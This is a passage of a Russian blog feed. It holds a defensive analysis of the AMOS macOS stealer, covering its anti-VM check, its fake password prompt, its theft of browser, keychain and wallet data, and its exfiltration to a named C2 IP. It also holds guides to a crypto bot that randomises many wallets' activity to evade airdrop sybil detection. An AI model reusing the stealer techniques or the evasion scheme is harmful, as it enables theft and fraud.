  <p id="it1t">Реализация AMOS-а с ходом времени претерпела значительных изменений. Если смотреть по таймлайну, то технические решения выглядят примерно так:</p>
  <ol id="bw4z">
    <li id="CW3m">Первая замеченная версия написана на Go.</li>
    <li id="Z6y6">Переписана на Swift.</li>
    <li id="9Kke">Переписана на C/C++, обсфусцирован код, зашифрованы строки.</li>
    <li id="CeJ1">Добавлены существенные вкрапления Python и osascript.</li>
  </ol>
  <p id="CY0t">Мы разберем относительно старую версию, которая была написана на Swift и мимикрировала под легитимное приложение для трейдеров TradingView. Выбор пал на нее, так как разработчик в то время еще не заморачивался над обфускацией и шифрованием содержимого бинарного файла, в следствие чего статический анализ значительно упрощается. Касательно функционала - с того времени он остается практически неизменным и по сей день.</p>
  <p id="TMAg">Стиллер распространялся в формате дискового образа (TradingView.dmg), примонтировав который мы увидим следующую картину:</p>
  <figure id="CWMD" class="m_column">
    <img src="https://img4.teletype.in/files/78/c6/78c6a5a6-70fd-40ee-88a7-6a59eb396a15.png" width="1306" />
    <figcaption>Примонтированный образ диска TradingView.dmg</figcaption>
  </figure>
  <p id="tpwB">Здесь нам любезно объясняют, каким способом нужно запускать приложение. Почему так? Давайте проверим подпись с помощью <strong><u><a href="#jhLw">What&#x27;s Your Sign</a></u></strong>.</p>
  <figure id="Azuq" class="m_column">
    <img src="https://img4.teletype.in/files/38/a8/38a8f5ae-166d-4493-bb23-b60be380c57e.png" width="1360" />
    <figcaption>Подпись Trading View (AMOS)</figcaption>
  </figure>
  <p id="PPHf">Исполняемый файл имеет adhoc подпись, которая обычно используется разработчиками для тестирования своих приложений без необходимости использовать сертификат, выданный Apple. При этом она абсолютно не подходит для распространения доверенных приложений, так как в таком случае macOS будет воспринимать его подпись как невалидную. Это означает, что запустить его можно только в обход Gatekeeper-а, то есть открыв файл через ПКМ + Open.</p>
  <figure id="udRx" class="m_column">
    <img src="https://img4.teletype.in/files/72/72/7272ff2f-c177-4e41-bcf5-00a1cfda868f.png" width="2222" />
    <figcaption>Анализ бинарного файла с помощью DiE</figcaption>
  </figure>
  <figure id="AE7y" class="m_column">
    <img src="https://img3.teletype.in/files/67/bd/67bd7d18-add9-4aa5-98b6-17d8336c577d.png" width="2624" />
    <figcaption>Результат сканирования на VirusTotal</figcaption>
  </figure>
  <p id="GsB1">На этапе запуска можно столкнуться с типичной для вредоносного ПО логикой, препятствующей анализу поведения в изолированном окружении. Так как запускать вирус на своей рабочей машине это не самая разумная идея, проблема должна быть решена.</p>
  <p id="vS1E">Немного покопавшись в дизассемблере можно найти достаточно примитивную реализацию нужной нам логики в функции systeminfo, где вызывается нативная утилита macOS под названием system_profiler, которая собирает информацию о системе. После чего результат вызова проверяется на наличие строк &quot;VMware&quot; и &quot;Apple Virtual Machine&quot;, которые там должны быть в случае запуска на виртуальной машине, и если они находятся, приложение попросту завершает свою работу. Обойти данную проверку можно пропатчив бинарный файл, изменив при этом строку инструмента виртуализации, который мы будем использовать.</p>
  <figure id="jlU8" class="m_column">
    <img src="https://img2.teletype.in/files/1d/7f/1d7fe6d3-b5e4-4a0f-8743-2b776ae2d268.png" width="1852" />
    <figcaption>Логика, препятствующая динамическому анализу (функция systeminfo)</figcaption>
  </figure>
  <p id="WwFS">В ходе исследования можно обнаружить, что функция main (точка входа) содержит в себе создание нового потока, где будет вызвана функция dotask. dotask, исходя из имен вызываемых процедур, вероятно, отвечает за основное поведение стиллера. Можно предположить, что при выполнении поведение будет следующим:</p>
  <ul id="KMAA">
    <li id="RyoO">Извлекаются интересующие данные (GrabChromium, GrabFirefox, keychain, FileGrabber, ColdWallets)</li>
    <li id="WM1t">Извлекается информация о системе и обрабатывается ситуация с анализом в виртуальном окружении (systeminfo)</li>
    <li id="UXXb">Данные пакуются в zip архив с помощью утилиты ditto</li>
    <li id="gspq">Архив отправляется на сервер злоумышленнику (sendlog)</li>
    <li id="c4Bb">Следы работы подчищаются (removeDirectory)</li>
  </ul>
  <figure id="UQnY" class="m_column">
    <img src="https://img4.teletype.in/files/b8/92/b8929153-217d-43d1-9e38-050bb14a1f91.png" width="2132" />
    <figcaption>Вызов основных функций стиллера (функция dotask)</figcaption>
  </figure>
  <p id="DhIQ">Рассмотрим некоторые процедуры подробнее.</p>
  <h3 id="D4OR">6.2.1. GrabChromium</h3>
  <p id="pARe">Отвечает за сбор данных с Chromium-based браузеров.</p>
  <figure id="KZ1m" class="m_column">
    <img src="https://img2.teletype.in/files/d3/ff/d3fff31d-4571-40e4-83bc-71d2b26308ca.png" width="1996" />
    <figcaption>Браузеры, поддерживаемые стиллером (функция GrabChromium)</figcaption>
  </figure>
  <p id="99JA">Тут извлекаются пароли, Cookie, кредитные карты и криптокошельки, установленные в качестве расширения. Последнее можно понять по функции findWallet.</p>
  <figure id="Yv5s" class="m_column">
    <img src="https://img3.teletype.in/files/26/30/2630ec7d-77ed-4123-868c-4656ed749fd4.png" width="1982" />
    <figcaption>Извлечение файлов, хранящих данные от криптокошельков (функция findWallet)</figcaption>
  </figure>
  <p id="0wpr">В ней, на первый взгляд, содержится невнятный набор символов, но при детальном рассмотрении можно понять что это идентификаторы расширений. Для примера:</p>
  <ul id="Yf18">
    <li id="AGvx">nkbihfbeogaeaoehlefnkodbefgpgknn - <a href="https://chromewebstore.google.com/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn" target="_blank">Metamask</a></li>
    <li id="zLGk">bfnaelmomeimhlpmgjnjophhpkkoljpa - <a href="https://chromewebstore.google.com/detail/phantom/bfnaelmomeimhlpmgjnjophhpkkoljpa" target="_blank">Phantom</a></li>
  </ul>
  <p id="K28g">Браузер хранит расширения в своих внутренних директориях. Расширения же в этих локациях содержат данные для доступа к цифровым активам - приватный ключ и/или seed-фразу.</p>
  <blockquote id="NOVZ">Данные криптокошельков по умолчанию зашифрованы и банальное воровство внутренних файлов расширения, в большинстве случаев, ничего не даст злоумышленнику. При этом, они могут быть расшифрованы, если у вас есть пароль. Инструкцию как <s>спиздить деньги с чужого метамаска</s> восстановить свой кошелек имея пароль можно найти на <a href="https://support.metamask.io/hc/en-us/articles/360018766351-How-to-recover-your-Secret-Recovery-Phrase" target="_blank">официальном сайте Metamask</a>. </blockquote>
  <h3 id="JLrV">6.2.2. keychain</h3>
  <p id="JGEe">Здесь происходит извлечение паролей из keychain.</p>
  <p id="FyAM">keychain - это зашифрованный контейнер, в котором хранятся данные от учетных записей, приложений, серверов и веб-сайтов, а также конфиденциальная информация, например номера кредитных карт или PIN-коды банковских счетов.</p>
  <figure id="bNn0" class="m_retina">
    <img src="https://img3.teletype.in/files/a5/98/a598368a-47b1-4924-8ecf-909db8cc2b47.png" width="210" />
    <figcaption>Окно, спрашивающее, желает ли пользователь сохранить пароль в keychain</figcaption>
  </figure>
  <p id="7cU7">Для его расшифровки требуется пароль от учетной записи пользователя, получив который, вредоносное приложение может получить доступ ко всей информации, которая там хранится.</p>
  <blockquote id="zme1">Пароли, сохраненные в браузере, обычно хранятся не в keychain-е, а во внутренних директориях этих самых браузеров, в зашифрованном виде. При этом, достать пароль для их расшифровки можно из keychain-а (что и делает AMOS на скриншоте ниже).</blockquote>
  <figure id="DPpt" class="m_column">
    <img src="https://img3.teletype.in/files/a3/d1/a3d1f53a-1164-42d4-b2b5-8b461403d6a9.png" width="1956" />
    <figcaption>Извлечение данных из keychain (функция keychain)</figcaption>
  </figure>
  <h3 id="MVHi">6.2.3. FileGrabber</h3>
  <p id="y5KW">Процедура, ответственная за сбор файлов из директорий Desktop и Documents. Интересующие расширения можно видеть на скриншоте.</p>
  <figure id="u0xN" class="m_column">
    <img src="https://img3.teletype.in/files/21/d3/21d31ee8-8126-46eb-a92d-e68cf0790340.png" width="1954" />
    <figcaption>Сбор файлов с компьютера жертвы (функция FileGrabber)</figcaption>
  </figure>
  <h3 id="rMPW">6.2.4. GrabFirefox</h3>
  <p id="UvM0">По логике функция похожа на GrabChromium, только для браузера Firefox.</p>
  <h3 id="JHJ6">6.2.5. ColdWallets</h3>
  <p id="tnZV">Финальным этапом является извлечение внутренних файлов из холодних кошельков - Exodus, Electrum, Coinomi и других. По аналогии с браузерными кошельками, данные зашифрованы и цифровые активы защищены до тех пор, пока злоумышленник не знает пароля.</p>
  <figure id="FXN4" class="m_column">
    <img src="https://img2.teletype.in/files/d8/96/d8967ac4-4a4e-4a7f-a051-f6156ff31bb3.png" width="1970" />
    <figcaption>Извлечение данных из холодных кошельков (функция ColdWallets)</figcaption>
  </figure>
  <h3 id="Zo0Z">6.2.6. sendlog</h3>
  <p id="smZP">После того как данные были собраны, они должны быть отправлены злоумышленнику. Для этого и служит sendlog.</p>
  <figure id="5fjh" class="m_column">
    <img src="https://img4.teletype.in/files/f5/ae/f5aeef9e-a7dd-4ec4-b9d2-740e20a0da82.png" width="1978" />
    <figcaption>Отправка собранных данных на сервер (функция sendlog)</figcaption>
  </figure>
  <p id="2Ier">Здесь мы можем видеть как формируется запрос с отправкой zip архива на сервер с IP адресом 185.106.93.154.</p>
  <p id="TvbB"></p>
  <h3 id="zWZr">6.3. Динамический анализ</h3>
  <p id="jFP0">Теперь, после того как мы с помощью статического анализа изучили чего можно ожидать от исполняемого файла, можем переходить к тестированию в изолированном окружении.</p>
  <p id="f9eO">После запуска &quot;Trading View&quot; мы увидим диалоговое окно, сгенерированное с помощью <a href="https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html" target="_blank">osascript</a>. Его цель - получить пароль пользователя, имея который вирус получит полный доступ к keychain-у, базам данных браузеров и root-права соответственно. </p>
  <figure id="UvP4" class="m_column">
    <img src="https://img2.teletype.in/files/d9/48/d948d658-048c-4306-ba1f-e23c19c6f06f.png" width="962" />
    <figcaption>Окно, сгенерированное для получения пароля пользователя. Маскировка под системные настройки</figcaption>
  </figure>
  <p id="vqPO">С помощью утилиты для отслеживания файловой активности, можем удостовериться, что данные собираются в папку, расположенную по маршруту /Users/&lt;user&gt;/&lt;number&gt;, из которой впоследствии создается архив с помощью ditto.</p>
  <figure id="05YI" class="m_column">
    <img src="https://img3.teletype.in/files/68/32/6832a243-f133-4d73-91f4-648e57662648.png" width="3390" />
    <figcaption>Создание архива /Users/malan/71707815.zip с украденными данными </figcaption>
  </figure>
  <figure id="xLuh" class="m_column">
    <img src="https://img4.teletype.in/files/3a/66/3a66890d-2ad2-49d5-b772-70866c2b6ed1.png" width="1170" />
    <figcaption>Содержимое домашней директории</figcaption>
  </figure>
  <figure id="KAnV" class="m_column">
    <img src="https://img2.teletype.in/files/1c/fa/1cfa59bc-ddcd-45b8-b7d3-f6c63fd86659.png" width="1134" />
    <figcaption>Содержимое папки 71707815</figcaption>
  </figure>
  <figure id="cQWI" class="m_column">
    <img src="https://img1.teletype.in/files/86/cb/86cbd05f-b5b0-496c-83f8-7c302caa1837.png" width="1132" />
    <figcaption>Содержимое папки FileGrabber</figcaption>
  </figure>
  <figure id="0Cpy" class="m_column">
    <img src="https://img3.teletype.in/files/65/be/65be2c27-19c4-45ec-8943-744f3f4d4d4f.png" width="1238" />
    <figcaption>Содержимое папки Chrome</figcaption>
  </figure>
  <p id="IxWI">В случае если в системе установлен брандмауэр (например LuLu), можем заметить, что программа пытается установить соединение с удаленным сервером  185.106.93.154. </p>
  <p id="4RY3">Это соединение как раз служит для отправки созданного архива злоумышленнику.</p>
  <figure id="9Hki" class="m_column">
    <img src="https://img3.teletype.in/files/ab/85/ab8534d4-7f51-4cf1-a08b-23bf9cd7c522.png" width="1472" />
    <figcaption>Уведомление LuLu</figcaption>
  </figure>
  <p id="f8hm"> </p>
  <h2 id="sHsa">7. Итоги</h2>
  <p id="iHim">Итак, статья подходит к концу.</p>
  <p id="mm1m">Подытожить вышесказанное можно основными тезисами, которые являются важными компонентами в обеспечении безопасности macOS:</p>
  <ul id="MkJw">
    <li id="zMlr">Запускать приложения следует только из доверенных источников. Это позволит уменьшить вероятность заражения вредоносным программным обеспечением.</li>
    <li id="S7Gj">Не стоит бездумно надеяться на встроенные механизмы безопасности macOS. Хоть Apple сейчас и предоставляет достаточно серьезную защиту по умолчанию, предотвращающую большинство примитивных атак, опытные разработчики вирусов все еще могут находить различные варианты ее обхода. </li>
    <li id="vJa7">В нагрузку к стандартным системным средствам, можно рассмотреть также различные open-source утилиты вроде брандмауэра для создания дополнительного слоя защиты.</li>
    <li id="xYDz">Использование менеджера паролей - очень важно для предотвращения взломов. Это позволяет пользователю иметь сложные и, что также существенно, уникальные пароли для используемых сервисов. Как мы уже знаем, криптокошельки хранят важные данные в зашифрованном виде, но если вы везде используете один и тот же простой пароль, то злоумышленнику обычно не составляет никаких проблем его подобрать.</li>
    <li id="ec6j">Необходимо периодически обновлять пароли и проводить сканирование системы на наличие неизвестных элементов, имеющих функцию автозагрузки.</li>
    <li id="BLIY">Нельзя хранить важные данные в открытом виде. В современных троянах существует функционал воровства файлов и, если они никак не зашифрованы, моментально становятся лакомым кусочком для злоумышленника.</li>
  </ul>
  <p id="IKKp">При соблюдении вышеперечисленных рекомендаций, крайне маловероятно что вы заразите свой девайс вредоносным ПО. А если и заразите - вред будет минимизирован. </p>
  <hr />
  <p id="LUi2">Подписывайтесь на <a href="https://t.me/cppmyk_inc" target="_blank">канал</a> и вступайте в <a href="https://t.me/+wobi3jptIU40ZDRk" target="_blank">Dead Engineering</a> - чат, в котором можно обсудить темы, связанные с разработкой, информационной безопасностью и блокчейном.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cppmyk/layerzero-bridger-specification</guid><link>https://teletype.in/@cppmyk/layerzero-bridger-specification?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cppmyk</link><comments>https://teletype.in/@cppmyk/layerzero-bridger-specification?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cppmyk#comments</comments><dc:creator>cppmyk</dc:creator><title>layerzero-bridger | Инструкция</title><pubDate>Tue, 06 Jun 2023 19:15:15 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/f2/cb/f2cbf9cf-0a84-4211-b473-83ca401fe8bb.png"></media:content><category>Software Developement</category><description><![CDATA[<img src="https://img1.teletype.in/files/0b/e0/0be053f5-3716-4dd5-b280-e0673f7b0145.jpeg"></img>Краткая инструкция по использованию layerzero-bridger]]></description><content:encoded><![CDATA[
  <p id="qTyn"><strong>Содержание:</strong></p>
  <ol id="QQ5X">
    <li id="P730"><a href="#nnw6">Введение</a><br />1.1. <a href="#OuQ9">Предисловие</a><br />1.2. <a href="#nwJc">Установка</a><br />1.3. <a href="#dWCH">Базовые настройки</a></li>
    <li id="9QS3"><a href="#hSsX">Обзор функционала</a><br />2.1. <a href="#Nzk9">Генерация кошельков</a><br />2.2. <a href="#yC1O">Вывод стейблкоинов с бирж</a><br />2.3. <a href="#iCch">Запуск бриджера</a><br /> 2.3.1. <a href="#b3UZ">Stargate mode</a><br /> 2.3.2. <a href="#QME8">BTC.b mode</a></li>
    <li id="uM22"><a href="#XsAO">Заключение</a><br />3.1. <a href="#QePX">Важное замечание</a></li>
  </ol>
  <hr />
  <h2 id="nnw6">1. Введение</h2>
  <h3 id="OuQ9">   1.1 Предисловие</h3>
  <p id="rPyy">Well, hello, friends. Описанный в <a href="https://teletype.in/@cppmyk/stargate-bridger" target="_blank">предыдущей технической статье</a> <strong>stargate-bridger</strong> был доработан, оброс новым функционалом и удобными фичами. В честь &quot;знаменательного&quot; события в виде добавления нового моста - переименуем этого красавчика в <strong>layerzero-bridger</strong>. </p>
  <p id="bXqS">В данной статье не будет технических подробностей, напротив, я постараюсь предоставить user-friendly инструкцию по использованию софта. Говоря более конкретно, мы рассмотрим:</p>
  <ul id="ZUwl">
    <li id="ipNi">Функционал, предоставляемый софтом</li>
    <li id="bk0r">Модификации этого функционала под свои нужды</li>
    <li id="5h1U">Логику работы (высокоуровнево)</li>
  </ul>
  <blockquote id="3r0C">Хочу сразу уточнить, что софт предназначен для минимизации мозгоебки с прогоном большого количества аккаунтов путем рандомизации возможных действий и создания уникальности за счет этого. Поэтому вы не найдете тонкой настройки под каждый конкретный кошелек, задания своих путей для него и т.д.</blockquote>
  <p id="5Idj"></p>
  <h3 id="nwJc">   1.2 Установка</h3>
  <p id="KXfU">Напомню, скрипт написан на Python, из чего следует, что перед началом работы этот самый Python должен быть установлен на вашей системе. </p>
  <p id="7aT8">Основное взаимодействие с софтом будет происходить через интерфейс командной строки (CLI). Если у вас macOS/Linux, то все команды из статьи будут так же исправно работать в вашем терминале. Если же вы счастливый обладатель Windows - рекомендую сразу установить <a href="https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux" target="_blank">WSL</a> для избежания всевозможных проблем.</p>
  <p id="NnkF">Более подробную инструкцию можно найти в репозитории:<br /><a href="https://github.com/cppmyk/layerzero-bridger" target="_blank">https://github.com/cppmyk/layerzero-bridger</a></p>
  <p id="adtv"></p>
  <h3 id="dWCH">   1.3 Базовые настройки</h3>
  <p id="maEW">Все настройки перед запуском можно уместить в 2 файла - <strong>config.py</strong> и <strong>.env</strong>. Рассмотрим за что каждый из них отвечает:</p>
  <p id="Wo7Q"><strong>.env</strong></p>
  <ul id="28hQ">
    <li id="TQ2r">RPC</li>
    <li id="a1QG">Ключи к биржам</li>
    <li id="KvXt">Параметры для мостов (slippage, балансы и т. д.)</li>
  </ul>
  <p id="3wTk"><strong>config.py</strong></p>
  <ul id="CyN3">
    <li id="GnwR">Поддерживаемые сети для мостов</li>
    <li id="yYoR">Тайминги</li>
  </ul>
  <p id="lku2"></p>
  <p id="RXvV">С настройкой <strong>.env</strong> файла, в котором нужно задать значение переменной после &quot;=&quot;, я думаю, все ясно, а вот <strong>config.py</strong> рассмотрим немного подробнее.</p>
  <p id="WLJl">За изменение поддерживаемых сетей отвечают списки <em>SUPPORTED_NETWORKS</em>, в которых мы можем закомментировать ненужные сети следующим образом:</p>
  <pre id="USbz" data-lang="python">SUPPORTED_NETWORKS_STARGATE = [
    # Ethereum(),  # High gas price    
    Polygon(),    
    # Fantom(),  # Liquidity problems    
    Avalanche(),    
    Arbitrum(),    
    BSC(),    
    Optimism()
]</pre>
  <p id="JKhj"></p>
  <p id="8hI3">Для настройки таймингов нужно указать диапазон рандомизации в секундах в формате (<em>от, до</em>), где &quot;<em>от</em>&quot; и &quot;<em>до</em>&quot; - рациональные числа &gt;= 0. Для более удобного перевода времени существует класс TimeRanges, который содержит в себе константы с количеством секунд в минуте (TimeRanges.MINUTE) и часе (TimeRanges.HOUR).</p>
  <pre id="rArn" data-lang="python"># Randomization ranges (seconds). The ranges shown are just examples of values that can easily be changed
class SleepTimings:    
    AFTER_START_RANGE = (0, TimeRanges.MINUTE * 10)  # from 0 seconds to 10 minutes. Sleep after start    
    BEFORE_BRIDGE_RANGE = (30, TimeRanges.HOUR)  # from 30 seconds to 1 hour. Sleep before bridge    
    BALANCE_RECHECK_TIME = TimeRanges.MINUTE * 2  # 2 minutes. Recheck time for stablecoin or native token deposit    
    BEFORE_WITHDRAW_RANGE = (30, TimeRanges.HOUR)  # from 30 seconds to 1. Sleep before withdraw from exchange</pre>
  <hr />
  <h2 id="hSsX">2. Обзор функционала</h2>
  <p id="H8XE">Все дальнейшие команды будут выполняться в терминале, в корневой папке репозитория путем взаимодействия с файлом <strong>lz.py</strong>:</p>
  <pre id="Si9U" data-lang="bash">python3 lz.py &lt;command&gt; [args]</pre>
  <p id="0q9b"></p>
  <h3 id="Nzk9">   2.1 Генерация кошельков</h3>
  <p id="5ICT">Для удобства был добавлен функционал генерации приватных ключей. По умолчанию ключи будут генерироваться в папку generated_keys, но можно также указать путь и сохранить их в private_keys.txt, например.</p>
  <pre id="OfxU" data-lang="bash">python3 lz.py generate &lt;num_keys&gt; [filename]</pre>
  <ul id="YyEy">
    <li id="9og7"><code>&lt;num_keys&gt;</code>: Количество приватных ключей, которое будет сгенерировано</li>
    <li id="k7Zj"><code>[filename]</code> (optional): Путь к файлу, в который будут записаны ключи после генерации. По умолчанию generated_keys/private_keys_{datetime}</li>
  </ul>
  <p id="wJ4O">Пример:</p>
  <pre id="841J" data-lang="bash">python3 lz.py generate 5
python3 lz.py generate 10 keys.txt</pre>
  <p id="reII"></p>
  <h3 id="yC1O">   2.2 Вывод стейблкоинов с бирж</h3>
  <p id="oJIW">Вывод с биржи на множество кошельков со случайной задержкой и значением можно сделать следующим образом:</p>
  <pre id="twYc" data-lang="bash">python3 lz.py withdraw \
   &lt;token&gt; \
   &lt;network&gt; \
   &lt;min_amount&gt; \
   &lt;max_amount&gt; \
   [--min_time &lt;min_time&gt;] \
   [--max_time &lt;max_time&gt;] \
   [--keys &lt;private_keys_file&gt;] \
   [--exchange &lt;exchange_name&gt;]</pre>
  <ul id="YyEy">
    <li id="ZTKA"><code>&lt;token&gt;</code>: Название токена (USDT, USDC и т.д.)</li>
    <li id="FXmD"><code>&lt;network&gt;</code>: Сеть вывода [Arbitrum | Ethereum | Optimism | Polygon |                                | Fantom | Avalanche | BSC]</li>
    <li id="w5Li"><code>&lt;min_amount&gt;</code>: Минимальное количество токенов, которое будет выведено</li>
    <li id="lth6"><code>&lt;max_amount&gt;</code>: Максимальное количество токенов, которое будет выведено</li>
    <li id="gmlx"><code>[min_time]</code> (optional): Минимальная задержка между выводами (в минутах). По умолчанию 0</li>
    <li id="E9Od"><code>[max_time]</code> (optional): Максимальная задержка между выводами (в минутах). По умолчанию 0</li>
    <li id="1CXA"><code>[private_keys_file]</code> (optional): Путь к файлу с приватными приватными ключами от кошельков, которые будут пополнены с биржи. По умолчанию private_keys.txt</li>
    <li id="cPQN"><code>[exchange_name]</code> (optional): Биржа, с которой будет осуществлен вывод [binance | okex]. По умолчанию binance</li>
  </ul>
  <p id="mYov">Пример:</p>
  <pre id="ULas" data-lang="bash">python3 lz.py withdraw USDC Ethereum 20 100
python3 lz.py withdraw USDT Ethereum 30 60 --min_time 5 --max_time 10 --keys accounts.txt --exchange okex</pre>
  <blockquote id="pB0w">Советую использовать Binance, чтобы не заморачиваться с вайтлистами Okex-а.</blockquote>
  <p id="I6bK"></p>
  <h3 id="iCch">   2.3 Запуск бриджера</h3>
  <p id="crkj">В этом пункте для начала разберемся каким образом можно запускать бриджер, а затем подробнее разберем каждый режим.</p>
  <pre id="DmHC" data-lang="bash">python3 lz.py run \
   &lt;bridger_mode&gt; \
   [--keys &lt;private_keys_file&gt;] \
   [--refuel &lt;refuel_mode&gt;] \
   [--limit &lt;bridges_limit&gt;]</pre>
  <ul id="YyEy">
    <li id="KnNU"><code>&lt;bridger_mode&gt;</code>: Режим работы [stargate, btcb]</li>
    <li id="4Qpn"><code>[private_keys_file]</code> (optional): Путь к файлу с приватными приватными ключами. По умолчанию private_keys.txt</li>
    <li id="DOGX"><code>[refuel_mode]</code> (optional): Режим пополнения нативного токена [manual, binance, okex]. Если стоит manual - бот ждет ручного пополнения от вас, иначе - выводит необходимое количество токенов с биржи. По умолчанию manual</li>
    <li id="Zj7a"><code>[bridges_limit]</code> (optional): Максимальное количество бриджей, которое должен сделать бот, после чего остановить свою работу. По умолчанию бот будет работать бесконечно</li>
  </ul>
  <p id="O8NK">Пример:</p>
  <pre id="ZuC3" data-lang="bash">python3 lz.py run stargate
python3 lz.py run btcb --refuel binance 
python3 lz.py run stargate --keys keys.txt --refuel binance --limit 5</pre>
  <h3 id="b3UZ">      2.3.1 Stargate mode</h3>
  <p id="dKxm">Для лучшего понимания механизма работы режима <strong>stargate</strong>, рассмотрим следующую схему:</p>
  <figure id="sj4D" class="m_retina">
    <img src="https://img1.teletype.in/files/03/66/0366b106-4479-4196-b78a-9e6f212ee730.png" width="1223" />
    <figcaption>Режим работа stargate </figcaption>
  </figure>
  <p id="Nuv5">Если сетей, которые удовлетворяют требованию минимального баланса, будет больше одной - она выберется случайно. Ожидания каждый раз рандомизируются в соответствии с заданными значениями в <strong>config.py</strong>.</p>
  <p id="UPpk"></p>
  <h3 id="QME8">      2.3.2 BTC.b mode</h3>
  <p id="kkFH">Данный режим работает аналогично предыдущему, только вместо стейблкоинов он взаимодействует с BTC.b:</p>
  <figure id="ZX0R" class="m_retina">
    <img src="https://img1.teletype.in/files/89/73/89734b01-a4cb-498f-93a3-53833b7c6943.png" width="1209" />
    <figcaption>Режим работы btcb</figcaption>
  </figure>
  <p id="C6JO">Покупка BTC.b должна происходить в ручном режиме.</p>
  <hr />
  <h2 id="XsAO">3. Заключение</h2>
  <p id="s0VT">Бот используется для личных целей и в нем, разумеется, могут быть баги, поэтому используйте с осторожностью. Если вы найдете какой-то баг - пишите в <a href="https://t.me/dead_engineering" target="_blank">чат</a>.</p>
  <p id="w1DN">Грамотные замечания и <strong>pull request</strong>-ы приветствуются.</p>
  <hr />
  <p id="34Su">Знаете ли вы, что ???!! <br />Когда вы не подписываетесь на <a href="https://t.me/cppmyk_inc" target="_blank">cppmyk.inc</a>, умирает один ретродропер, который продолжает все делать руками! Поделитесь каналом, пусть все знают!!!</p>
  <hr />
  <h3 id="QePX">   3.1 Важное замечание</h3>
  <p id="BJAc">Для вопросов вида &quot;Как установить Python&quot; существует Google.</p>
  <p id="tb5p">Для вопросов вида &quot;Я все 10 раз прогуглил, но все равно не могу понять в чем проблема&quot; существует <a href="https://t.me/dead_engineering" target="_blank">чат</a>.</p>
  <p id="yXhl">Не пишите мне в ЛС, пожалуйста 🥸</p>
  <figure id="8qIc" class="m_column">
    <img src="https://img3.teletype.in/files/66/fe/66fe42ff-d8e1-4813-864a-4432cb676548.png" width="2428" />
    <figcaption>Важные вопросы</figcaption>
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cppmyk/stargate-bridger</guid><link>https://teletype.in/@cppmyk/stargate-bridger?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cppmyk</link><comments>https://teletype.in/@cppmyk/stargate-bridger?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cppmyk#comments</comments><dc:creator>cppmyk</dc:creator><title>Основы скриптового сибилдинга | stargate-bridger</title><pubDate>Thu, 25 May 2023 19:27:00 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/a3/83/a383e450-7f51-4ce1-a288-f3341a6e5b67.png"></media:content><category>Software Developement</category><description><![CDATA[<img src="https://img3.teletype.in/files/eb/7f/eb7f1791-a7e5-4bb8-9f5c-74d99d37af72.jpeg"></img>Well, hello, friends. В этой статье я разберу базовые аспекты написания скриптов на примере простого бота для моста Stargate.]]></description><content:encoded><![CDATA[
  <hr />
  <p id="qTyn"><strong>Содержание:</strong></p>
  <ol id="QQ5X">
    <li id="P730"><a href="#X7dI">Введение</a><br />1.1. <a href="#W9wN">Предисловие</a><br />1.2. <a href="#wLYl">Итоговый результат</a><br />1.3. <a href="#txxL">Как запустить</a></li>
    <li id="9QS3"><a href="#Poz4">База</a><br />2.1. <a href="#N14q">Python</a><br />2.2. <a href="#M0hP">Blockchain</a></li>
    <li id="uM22"><a href="#cDcp">Основная часть</a><br />3.1. <a href="#InGV">Архитектура сетей</a><br />3.2. <a href="#H246">Логика</a><br />3.3. <a href="#cfVp">Взаимодействие со смарт-контрактами</a><br />    3.3.1. <a href="#u6g5">Проверка баланса нативного токена</a><br />    3.3.2. <a href="#XkXd">Проверка баланса ERC-20 токена</a><br />    3.3.3. <a href="#q2qN">Approve ERC-20 токена</a><br />    3.3.4. <a href="#QISi">Stargate swap</a><br />3.4. <a href="#hDtl">Реализация сетей</a><br />3.5. <a href="#iVJa">AccountThread и состояния</a><br />3.6. <a href="#n6Yk">Рандомизация</a></li>
    <li id="eJUU"><a href="#79Mz">Финал</a></li>
  </ol>
  <hr />
  <h2 id="X7dI">1. Введение</h2>
  <h3 id="W9wN">   1.1 Предисловие</h3>
  <p id="nLcG">Well, hello, friends. В этой статье <a href="https://t.me/cppmyk_inc" target="_blank">я</a> разберу базовые аспекты написания скриптов на примере простого бота для моста <strong><a href="https://stargate.finance/" target="_blank">Stargate</a></strong>. Гайд предназначен для новичков и если вы уже опытный разработчик, который понимает как взаимодействовать с блокчейном, то вряд ли найдете для себя что-то полезное. Для комфортного прочтения желательно иметь хотя бы минимальный опыт программирования, но если он отсутствует - я расскажу с чего начать. </p>
  <p id="9woB"></p>
  <h3 id="wLYl">   1.2 Итоговый результат</h3>
  <p id="4608">Собственно то, ради чего мы здесь собрались. </p>
  <p id="wErb">Пройдя весь путь, мы получим скрипт на языке Python, который будет иметь следующий функционал:</p>
  <ul id="oCqs">
    <li id="OWia">Поддержка всех популярных EVM сетей - Ethereum, Arbitrum, Optimism, Polygon, Fantom, Avalance, BSC</li>
    <li id="QybO">Сканирование сетей на наличие стейблкоинов на балансе</li>
    <li id="o0sw">Бридж через Stargate </li>
    <li id="eivI">Полная рандомизация путей и таймингов. Никаких закономерностей</li>
    <li id="yc8Q">Одновременная работа нескольких аккаунтов</li>
  </ul>
  <p id="Kqcm"><strong>Исходный код:</strong> <a href="https://github.com/cppmyk/layerzero-bridger" target="_blank">https://github.com/cppmyk/layerzero-bridger</a></p>
  <p id="0a0l"></p>
  <h3 id="txxL">   1.3 Как запустить</h3>
  <ul id="EbWn">
    <li id="lRYF">Устанавливаем Python 3.9.2 (можно и другую версию, но я не ручаюсь за нее)</li>
    <li id="sP9S">Переходим в директорию с репозиторием (у вас путь наверняка будет другой):</li>
  </ul>
  <pre id="2fUu">cd stargate-bridger</pre>
  <ul id="LPHG">
    <li id="xfax">Инициализируем виртуальное окружение и устанавливаем зависимости:</li>
  </ul>
  <pre id="P6AF">python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt</pre>
  <ul id="d2hg">
    <li id="73Gn">Настраиваем config.py (тайминги, поддерживаемые сети)</li>
    <li id="ylLY">Добавляем приватные ключи в private_keys.txt</li>
